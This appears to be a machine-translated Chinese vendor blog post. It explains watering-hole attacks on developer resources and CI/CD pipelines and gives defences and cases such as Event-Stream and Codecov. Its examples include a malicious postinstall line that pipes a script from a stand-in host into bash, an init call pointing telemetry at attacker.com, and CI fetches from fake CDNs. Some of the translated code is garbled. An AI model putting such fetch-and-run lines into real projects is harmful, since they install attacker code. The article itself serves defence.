打造後門的工程
建置成功,服務部署完成,一切看起來都很正常。但實際上,其中隱藏著一個來自被入侵來源的惡意依賴項。這就是典型的水坑攻擊。
在這種情況下,攻擊者並沒有入侵您的基礎設施。他們等待開發人員存取他們已經入侵的受信任資源,例如文件網站、軟體包倉庫或 SDK 下載頁面。惡意程式碼由此進入您的系統。 pipeline 只需簡單的拉取或安裝命令即可。
一旦產品上線,攻擊者就能在生產環境中悄無聲息地立足。而你的 CI/CD pipeline 只是幫他們到達那裡而已。
什麼是水坑攻擊(以及開發者為何應該關注它)
那麼,什麼是水坑攻擊?它是指攻擊者入侵開發者或團隊已經信任的資源。攻擊者不會直接攻擊你,而是破壞你可能經常使用的網站或程式碼庫,等待有人上鉤。
水坑攻擊不同於網路釣魚(通常針對憑證)也不同於上游供應鏈攻擊(將惡意程式碼注入軟體包的主倉庫)。水坑攻擊的威脅來自你周圍的生態系統:例如,文件中添加了後門、SDK 二進位檔案被替換成了木馬,或者軟體包註冊表提供了篡改後的版本。
開發資源是主要攻擊目標:套件管理器(npm、pip、Maven)、公共 GitHub 程式碼庫、看似官方的 Docker 映像以及下載頁面。如果其中任何一項遭到入侵,攻擊者就已經進入了你的開發流程。
陷阱設在哪裡:以開發者為中心的真實案例 水坑攻擊
水坑攻擊的形式多種多樣。以下列舉幾種它們繞過開發者的方法:
- 被入侵的文檔網站:
import { init } from 'malicious-lib';
init({ telemetry: 'https://attacker.com' });
文檔中一個看似合理的例子被細微地改動了。開發人員複製貼上,然後繼續工作。
- 公開 PR 中存在惡意安裝後腳本:
{ "scripts": { "postinstall": "curl -s https://malicious.site/agent.sh | bash" } } 看起來像是一個很有幫助的公關稿,但它會在後台悄悄安裝惡意軟體。
- 特洛伊木馬化的 SDK 二進位文件:
./sdk-install.sh # 包含隱藏的第二階段載入器
二進位檔案是從看似可信任的網址下載的,但已被篡改。 - 修改後的 Docker 基礎映像:
來自節點:slim-malicious - 運行 bash /tmp/hidden-installer.sh
圖片名稱看起來沒問題,但它託管在被劫持或偽造的註冊表中。
所有這些水坑攻擊都依賴開發者的信任和快速變化的工作流程來避免被偵測。
從筆記型電腦到 Pipeline感染是如何傳播的
水坑攻擊並不會止步於瀏覽器端。 一旦惡意程式碼進入本地環境它可以悄無聲息地貫穿你的整個配送鏈:
- 開發者存取了被入侵的資源(文件、程式碼庫、SDK 網站)。
- 惡意程式碼進入了本機開發環境。
- 受感染的文件或依賴項被添加到 commit 然後推了過去。
- CI/CD 作業會使用這些被入侵的元件來執行建置和安裝步驟。
- 該工件被交付並部署,將攻擊者的程式碼嵌入到生產環境中。
這種連鎖反應可能在幾個小時內發生,尤其是在高節奏的團隊中。
為了形象化這一點,想像一個 pipeline 追蹤感染路徑的圖表:
- 開發工作站編輯器、終端、安裝腳本。
- 源代碼控制: Commits、PR、合併。
- CI Pipeline依賴項安裝、腳本執行、鏡像建置。
- 製作:工件發布、部署和使用者存取。
如果沒有適當的安全措施,水坑攻擊的每一步都可能不被察覺。
真實風險情景 CI/CD
水坑攻擊並不僅限於開發人員機器。它們還會利用你的 pipeline 對你不利。實際風險包括:
- 受損的基地影像:
門票(美金) attacker-registry.io/python:3.10-slim
建置過程中新增了隱藏惡意軟體。 - 取得未固定的腳本或工具:
curl -s https://pkg.example.com/latest.sh | bash
「最新版本」隨時可能更改,尤其是在 DNS 被劫持的情況下。 - 受感染的 CI 日誌 (例):
[+] 安裝工具…
[+] 正在從 https://tools.fakecdn.net/bootstrap.sh 取得
[+] 建置完成。
表面上一切正常。但有效載荷已經存在於工件中。
水坑攻擊濫用了多少信任 CI/CD 環境放置在外部來源和腳本中。
打破 水坑襲擊 鏈:開發者端防禦
為了及早阻止水坑攻擊,你需要加強開發規範。攻擊預防必須在程式碼進入你的開發環境之前就開始。 CI/CD pipeline:
- 引腳依賴性避免使用浮動標籤,例如 最新使用鎖定檔案來確保建置的確定性。
- 驗證校驗和驗證所有遠端腳本、二進位和軟體包。
- 使用私人鏡子鏡像關鍵軟體包註冊表,以防止暴露於受損的上游來源。
- 驗證基礎影像:使用圖像摘要(@sha256)而不是標籤。使用前請掃描所有影像。
- 運行 SCA/SAST 合併前在公關工作流程中自動執行掃描,以便及早發現威脅。
- 使用 Git hooks在高風險變更進入版本控制之前,請偵測並阻止它們。
- 治療 第三方程式碼 例如不受信任的輸入即使是廣泛使用的庫也可能有隱藏的風險。
安全措施必須融入開發人員的工作流程。這些習慣和控制措施有助於在水坑攻擊升級之前將其攔截。
現場經驗教訓
案例 1:Event-Stream(npm)
一位受信任的維護者移交了一個熱門軟體包的控制權。新的維護者添加了一個依賴項,該依賴項會在後台悄悄竊取加密錢包資料。
- 它失敗的地方:不審查傳遞依賴關係。
- 課使用自動化 SCA 追蹤並標記間接依賴項的變化。
案例 2:Codecov Bash 上傳器
攻擊者篡改了許多持續整合工具 (CI) 中使用的 bash 腳本。 pipeline它從 CI 環境中竊取了機密資訊。
- 它失敗的地方:未進行校驗和驗證。
- 課:在執行下載的工具之前,請務必先進行驗證。 CI/CD.
這兩起攻擊都是針對特定水塘的攻擊。這兩起襲擊原本都可以更早阻止。
預防實務:DevSecOps 思維模式與工具
防止水坑攻擊意味著要建立一種具有安全意識的開發者文化:
- 安全等級左移訓練開發人員對意外的腳本、相依性變更或安裝步驟提出質疑。
- 自動化 SCA/SAST: 使用 工具 整合到公關工作流程中,以防止已知的漏洞和風險模式。
- 在所有地方都使用哈希驗證任何外部資源在執行前都應進行驗證。
- 即時監控單靠預防是不夠的。
類似的工具 Xygeni 提供貫穿整個軟體供應鏈的即時可視性。 Xygeni 持續監控開發人員環境、Git 活動和持續整合 (CI)。 pipelines 和工件註冊表用於檢測:
- 異常的依賴關係變更。
- 建置腳本中存在可疑修改。
- 對第三方資源的異常存取模式。
借助 Xygeni,團隊可以阻止透過水坑攻擊引入的威脅擴散,並在有漏洞的情況下追蹤入侵源頭。它專為現代安全防護而設計。 CI/CD 環境,重點關注可操作的警報和以開發者為先的可用性。
最後說明:快 Pipelines,更快的風險
現在你知道了 什麼是水坑攻擊 你知道他們不需要直接入侵你的基礎設施。他們透過破壞開發者已經信任的工具和網站來達到目的。然後, CI/CD pipeline 可能成為攻擊者的分發系統.
真正的風險不僅僅是系統被入侵,而是惡意程式碼在你的系統中傳播的速度有多快。 pipeline.
將安全檢查融入你的開發流程中,而不是事後才想起。因為一旦產品發布,就為時已晚了。




